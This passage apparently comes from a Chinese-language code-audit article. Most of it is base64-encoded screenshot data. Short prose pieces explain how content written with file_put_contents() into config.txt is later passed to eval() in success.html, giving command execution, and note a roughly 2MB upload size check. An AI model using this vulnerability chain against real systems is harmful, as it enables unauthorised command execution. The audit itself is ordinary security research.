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 truncated
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181034-4c4e62d2-c66a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB2YAAANCCAYAAAC9MaxcAAEAAElEQVR4nOzdeVxU9d4H8M8MKIILCrgioMgmZW6YCVipQOF+8977ZHr1llctS65Z2nZv0e22aYtXy9LK0tzu02OJuSSIVrJoqVSWsokCYqkD5sY6zHn+OLOc2Wdghhng83695qVzzplzfnO2OZzv+X5/ssLCEgFEbYRMBshkMgAyyOUyyOVyyOUe8PCQw8PDA3K5h3qYXD0dtP8SERERUfMIgqD9V/+lgkolQKVSaV+CoEJjowpKpRJKZQPq6+tRW1uHTz/9BM8996yLvwmRYwlCCT6YFo/UyM24sHK8q5vT7gnCeXR9byE63bIOirv6u7o55KY6dOiA7t27u7oZVu1/pAMm//wGTn+bgjDe3zBy8+ZNVFdXu7oZRC1Oe+2BVGSlzUcozw9Ebc7BZf0wu4DHeGsjCCXwrKnhxQm1HYZBWQ8PD3h4eMLT0wMqlQBPT9200uAsERERERGR05w9gN3HgFlLxrm6JQQAilx0ujgItX8KdHVLiIiIiIioPTl7AJ7R0VGubgaR0zQ0KHH9+nX8/vs1dOwoDtNk1QqCwMAsERERERE51MFl/bAqPAu7FoQCAAThIJbHp+JYTCpWMS7rFry/+QQdhjwPRU/+PUhERERERM5h7m9DTyufI2rVOnTwhJ9fD3Tq1Am//XYJMhkgl8sgk8kZnCUiIiIiIocbv/ICsKwf+vWTDJzFEsbuwOObFPQ6dBbo9VdceuR2VzeHiIiIiIjaMHN/G8oaGpTsY5bahaqqK7h+/SY6duyIjh07wMPDU1vumIiIiIiaj33MEhFRW9Fa+pgly9jHLBEREbkbuasbQNRSunbtisZGJVSqRjQ2qrQ3DomIiIiIiIiIiIiIiIicjYFZajc6dPBEY2MjVCoVAF0GBxEREREREREREREREZGzsY9ZalfE0nkCVCoGZYmIiIiIiIjINFntTciKzrq6GdRMcm9fwKurq5tBREREpMXALLUrKpUAQPMiIiIiIiIiIjLm+WsJPD5c5upmUDN1SJwDxP3J1c0gIiIi0mIpY2pnNCWMxf8TERERERERERERERERtQRmzFK7ogvKEhERERERERGZVtszGPjbSlc3g5pJ6dvT1U0gIiIi0sPALLVr7GeWiIiIiIiIiAypvHxQ3T/K1c0gIiIiojaGpYyJiIiIiIiIiIiIiIiIiJyMgVkiIiIiIiIiIiIiIiIiIidjYJaIiIiIiIiIiIiIiIiIyMkYmCUiIiIiIiIiIiIiIiIicjIGZomIiIiIiIiIiIiIiIiInIyBWSIHq6urQ3p6Jq5du+7qphAREREREREREREREZGbYGCWyMEuX1bg1Kl8XLt2zdVNISIiIiIiIiIiIiIiIjfBwCy5hbMlZ3H06HcWpzl69DucLTnbQi0iIiIiIiKyjyCUYP3Ufug3dT1KBMHVzaE25uCyfujXbxkOOnnfKlk/1eJyTO3nB5dZft/WGK4Dc8e+dng/cdtlqhx3jmhL55u29F2cpTWuI1efB1rjOiNq7Wy5VuGxScTALLmJS5cv47VXVyAz85DJ8ZmZh/Daqytw6fLlFm4ZEREREZH9BOEglvXrh6nrS1pkvtYCKe2NcHCZOhBi8HLgDSBnbWNq+7jvtB+Hlscj9dgsbK6owIULKzFe5uoWtX3mzv883to23UMQU7G+xP7feeP9htdU5ojXnMbH2LKDrl9fxm1r2v7QVO3h992djxV3bpu7sfS3Y1P345b4+6slaH9Plh00MU5cN7aeZyztk55O/RZENho9+nY8tvhRvLPmXQDAhAnjtOMyMw/hnTXv4rHFj2L06Ntd1UQiIiIiItudLUZBa5pvmxSD1Kw0LAh1UiTExLaQyUKxYNcFLHDOEqmtaOXHMfdzY6bWiSCUoLgAwKxkjJfJzE5Hzlgv+ud/oWQ9psXHo1/RZlxYOd5hS2lJ3HesOPQeUo/pD7J1nZWsn4r4VCA1q0J/n1l+CONb6f7ifPrHWMn6qYifHQhsrsBKFzyBIh7jqTgWk4qsijSEqs+5gnAQywOX42DFCu152Kla+e+7NY46VpxxPuNx7C6c/PeXC4n72DHEpGbhwoJQ/eHxgdidmoVdhsNTze+TDMyS29AEY6XBWWlQVhqsJSIiIiIiIiIiskYWugCrUncjPnUV1j8yrk3eMG7PBKEEH6za0sTPHsR76hvt0v1CFroAu1Y6qoVt38D5SzArdTYKis8C40Otf8CBBOEglsen4tgs4wcvZLLxWHmBQTlHcOdjxZ3bRm2DcHCZNigrDb4CQOiCXagIW4bA2fFYFiY+nGLLPslSxuRWJkwYp82cXbP63VYZlL18WaH3LxERERG5lraPs5L1mCotJWSqPJGVaXT9JhmUMZJMd3BZPwTGp+IYgGOp8UYlFK0tw7BEkuaz1uZrjanSS6bKzhmWXJq6/mCb7QfKqORdM7eFqT6zzM3D3DJMbRdb9jtzrC9f2gem8Xa2to6a0zZ345B1YeVcY/X8YKUNokNW17W1ttpL3M7m93Nb2HR+nboeJZpzkA3z1+5/BvNedlAwXpc2lqSz5by4/JDhfAz6nD24DIGB8WIG35bZ2uWb7YvWlt8nK21wZ5r9Ubputd/Zwnpx5H48MCzSbLscsY9Y4ohzR1vpk9EZ1yJnP1iCVKRic2qMwbJsX2fHis7Z0Hb+XpqlzhSNDBsIwPy6N1Ui1Ny539br90PLZ2MLZmHzCuv3jk0ta4uZPlGlfSQ75ve9+ecSd2DLsSIyf61isa96E9cAtq47HsfO5ehry9ZC+/BPTCpWzR9oeqJxjyA1Btiy6gO9/cnSPsnALLmdCRPGYdy4u3Hw4CGMG3e32wZlt2z5L1atetfo9c03WQCAb77JMjl+y5b/urjlRERERO3QsVTExxdhSUUFLly4gIqsVMRsma1/k0BdBg2pWeI0FZsxy2Aa0RbMDtyHZM28Ns8CtszW3nwZv1I9f0AsdXThgvbJWmvLEEuuzcaWWZtx4cIFXLhwAatwAAcFweJ8rRGDBLNRoP6cpt1bZgfq3zQ6uAyBs7do53/hwgUsKZptVB6wLRAOLsMSrNKtD/U+oVkfjtgWluahaYMt20Vkeb8z+R2tLb9kPaYFxiM1Uje+YhVw4JBt66g5bXM3DlsXVs41Vs8PFtogsr6ubd9utjm4rB9mbwFmba6w+ZxjyPbz624sWRWOrIoKXNi1QFuO0rItmL0EWFVRgYqKLPHG2OxABAbGo2hJhdl10JzzYvK+eIvnRdn4ldq2QHP8mSmlaMu6aUob3MnA+avU22W59vxz6D112VEzwRRH78dniwsAREIdN7Jp/vado01z1LmjLXDGtYhQsh5LUo9h1pL5GNCkVg1AeAyALbMtBsn4e2meIJTggyXi8fxIk2/hmjn3WzkuBOEg9m2BXsl4e5f1QPIsAFuwT/Jbq5lvzOQEm9ti8ffdAecS17PtWBE1dT833g9sW3c8jp3N0b/Jrcs5FB0zOB8YkMlCkTA5BjhWhHMAbNknGZglt5OZeQiHDn2NcePuxqFDXyMz0z0fAx0+fChGjx5l9OrY0QsA0LGjl8nx0dFRLm45ERERUXsUg9QsXf9SYlnDGGDLPhwUBL2bSponYWWy8VixeRawZRXWlwhm56V5QvbY7gMWMzJsWoY642BWsu7OVuiCBc3qF0v7lO+szXpBFdn4ldg8CziW+p5uHZiYbtyKzZjV5KW70jGkxgcaZNzobh7Ixq/UDzINTMBk6XZ0xLawMA9bt4tOE/Y7a8tfYhwYkYUuwAJ1/3BW11Fz2uZGnLkuDM81zWmDqfmbWte2t9W6kvVTtUHZpvYbaNf59RgwedV8GwOyGjFIVX9GJgvF/CXqM9aszbo2G6wDdzkv2rJu2sK5WSYLxfxVqYjBFqz64CyEkvVYtQWYtcT8tnbkfqwrQfiI7ti0Mn/7z9FmvruTzx2thTOOOe3xIz3W7SSThWJ+mjjvLbMDTWbX8vfSFN01llgdQHcebuLszJz7rRwX6uucmPABTV/WuGTMAsQyzBqH9mELYjA5QZod14zfdwecS1zNlmNFp4n7ucG2sXXd8Thuqi2YHaj/t5J4TM+GYXF429eN5b+/WiWDigCWFaD4rG3HCwOz5Fakfcqm/P0xbVljdwzORkdHYcyY241eU6cmAwDuuWeCyfHDhw91ccuJiIiI2qGYyUgw+FtKLGso/vGEswew29STsAPCEYNj0K9CpMu4AcQ/vExUSDRmyzIGhiES+llFzaZZrombVuOSZ8FoHRhNp37it9WJQWpWhfbJbksZxmJmqUH2mSO2haV52LpdtJqw31n8Dtaf/pYyuY6a0za34sB1Ye1c0+w22LeuLW83Kw4tR3zqsWYFZQE06/xqG4PPDAhHDPQfSDBaT+5yXrRl3bSRc7MsdAGWzAKOpS7BNDuDafbvx/o3hgNnFyA1y3zGt8n5232Obub3aPK5o5VwwjF3aHk8Uo/ZVsLWErEf0gvYPAtiVmRgoEGmMn8vjelfY1VsjkRqfHOyP82c+51yXBhug/FInqUfYDq0bwswa4l+f9RNbYsTziWuYv1Y0Wjqfm6wH9ix7ngcN8UsbK7Q/1tJW7nDwqcsrxvb//5q66ztkwzMktuQBmU15Yulfc66Y3DWEi+vjq5uAhERERFZpR8U0PQJpb2Zq+4ryqFLtLAMmWw8VmSJWUXiE8xTDbJ1m878U77668C2p4FbP2n/dYHqcmSbJXchHLEtbJmHrdulKSwu34anv62tozajRdaFle1p19P4lllrq1H/av1M9a+3BbNni/1pNb00pT6bzq8x4XrlSG1ra9O5y3nRlnXTFs7Line truncated
<p>在上面可以看到通过<code>file_put_contents()</code>控制<code>config.txt</code>的内容,在<code>success.html</code>中,这里直接重加载的时候通过<code>get()</code>获取到了<code>config.txt</code>文件的内容,将获取到的内容直接执行了<code>eval()</code>,也是可以进行命令执行的。</p>
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181039-4f8bc624-c66a-1.png><img src="data:image/png;base64,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 truncated
<p>再看<code>checkFileSize</code>的情况,随便找一个调用这个的函数看一下,首先是需要<code>checkFileSize</code>进入else的处理,需要传入的文件小于<code>$uploadFileSize</code>,<code>$uploadFileSize = 2097152;</code>大概是<code>2MB</code>。</p>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181047-53e4a10a-c66a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABPYAAAKXCAYAAAAB/MScAAEAAElEQVR4nOz9d6BlRZUvjn9q73O7ocnQZFAQMCAKqIBIFgQJCiigKI46OvlNfPN87zfzvs68mffmzbzRCU5wnFHHrKCCYiApIAISxFYyNKEJDTQ0DR2gwz171++PSquqVtWufc65ty/YC/qeHSqsWrVqpV1BvPKVr5LYBHMQJACxsZHYBL80IKB4bhzYWDxL8TbtEOpKSgiRxsnmlD3aLiitxKZRKhWdDQgAQghUVYWqqhSFOtlL01GoAqXUZJ4Y+H1Gf2K88rxg20OSSkhIKdG2LaRsIVvp1SaEpgkEqkqgrgeYGtQYDAYqv5TYMD2NZjhE07YqlwCEqGwpkuAs9QVFQ0oJKVuNg0y3wzZf2LoBRONEknFkskl4fyCEIJhICAhUAqhEZd8JAFWl+KHWY6dtWzRNA9m2uhx45RkeouULQnbhdaGPI2236Sv7K0wK1V+GxlVVQVTC0rFtW7RS0ZHW74sa0gfCpNH9ZPiBjouqgjB0MWNDVIBuo6Sdo8s3NPD6JZBVSTZmIDWkQsnN1+ChFuHUthJN06BpGgyHQ2yYnoaULYQQmJqah6mpAerBALJtMT09jQ3T05gaTGFqaoCpqSlUVa3bGrSEbZgMrqQ3Ftk8hA/UrQjeUX0Q56U5zGvbF4K8FcIbI720akYPef0uXdleV1A8w3YmOr+PmB3LQpDJmxhCpAg9+1QzO9o5NQJHrFtEFxEoWa/kS6tlqPTeO1aS0umi8DeFaxmlu9pnuDO0z+i7MvBlk6+X5ooD2wePuD303Sh802WzbFyY2T7aWK3j+Dp8Tt/3SZ+DnDE9zqgoaUPu/caD7RbugGeWP23vJ8IRnFuZKdyzW80vtd+0HDayW8ll858pwy9cWFsiVXXcDxLAoKttm2AGoEinbWxRvAl+eWASQT1TzsYAir8zJlUgJI9T75YLWoerMUryywxGmfnRFy4hIlrqQEoUOMgVUwQyvh6Z5SUgSdskDTgJABVQtYEz6oecBG2kAGQrreJ34IergjjEmNBdQmhkpMil+saNPykFpJDB2BI2oCVM2VKiBUgQ0gXdLGElND+5WnzeEAybCRL4UMFGCQkh9a/w+Q1oVSAZNepKBdpa2aJtJdq2UWlsrMgEcohjSfBxTrR2PisXxKuqWgf3hKWHjcAoi88aez6xXRtddDcMbJVBaVquBsoPNPDethJN26AZDjEcNmjaxgaXq6rCYGoK86amUNc1IASGbauD10BVV6jrGlVdByOkG3MPP8kE9FJBrgTrRzE1JsDiB08Szg8dx+Za+PRLg6O89P/AD17G2XJtoyKESqQufqByd2wLoY9f2CHwu/XBbIX0hOeWxXqmQ2hzdCDZAjcP5oOE/bUygwTySLmM1ktWWQ6llI31e/8yfPBDenFJMxtuSAVm/CclOOTTjGLtzLUwpw+T8jDmFoScl+uz8S1Yv6wufEah+JhCeQ5AP8nAvQ/ktbEjjY0/TvOFMBYsrH+qTd/Q1LD3ZGKKCRZ66AYgAQgpNwX2NgrM7bGxCX7p4IWlcmOVFeLf8WllnIq9OjYNZAN0oo37aiV8I9zruCBoRS6LXPv0TRGMxiF6ZpUO7goTkLGv6cyxClKoAKANOCita2sNDQVJp1mkkB7bumCgT3FBsDIcBTacZoJoQbBB6ACEqCtADCAaFwSys+hsSSavDqSaYKEJ9hHc6awkTXYGdQnh8Z0z2my1QgXjKtSqvkqo2Zcav7ZtbfP9ntLBN1Ghsg0VduaqqCpUQgAksOfhZvCWsAFIg1voUBLuse2aNbBkk2hbxbNmhp6ZrdfqQG1dVxgMBpiaN08F9QC0bYvhcGhnGblgb8oRyUl61xGRWCHBUG7Gmp2tmqIdE9Tzqw7ySWHlgnttjHdnzHtR6dRYN3ml9yCLoj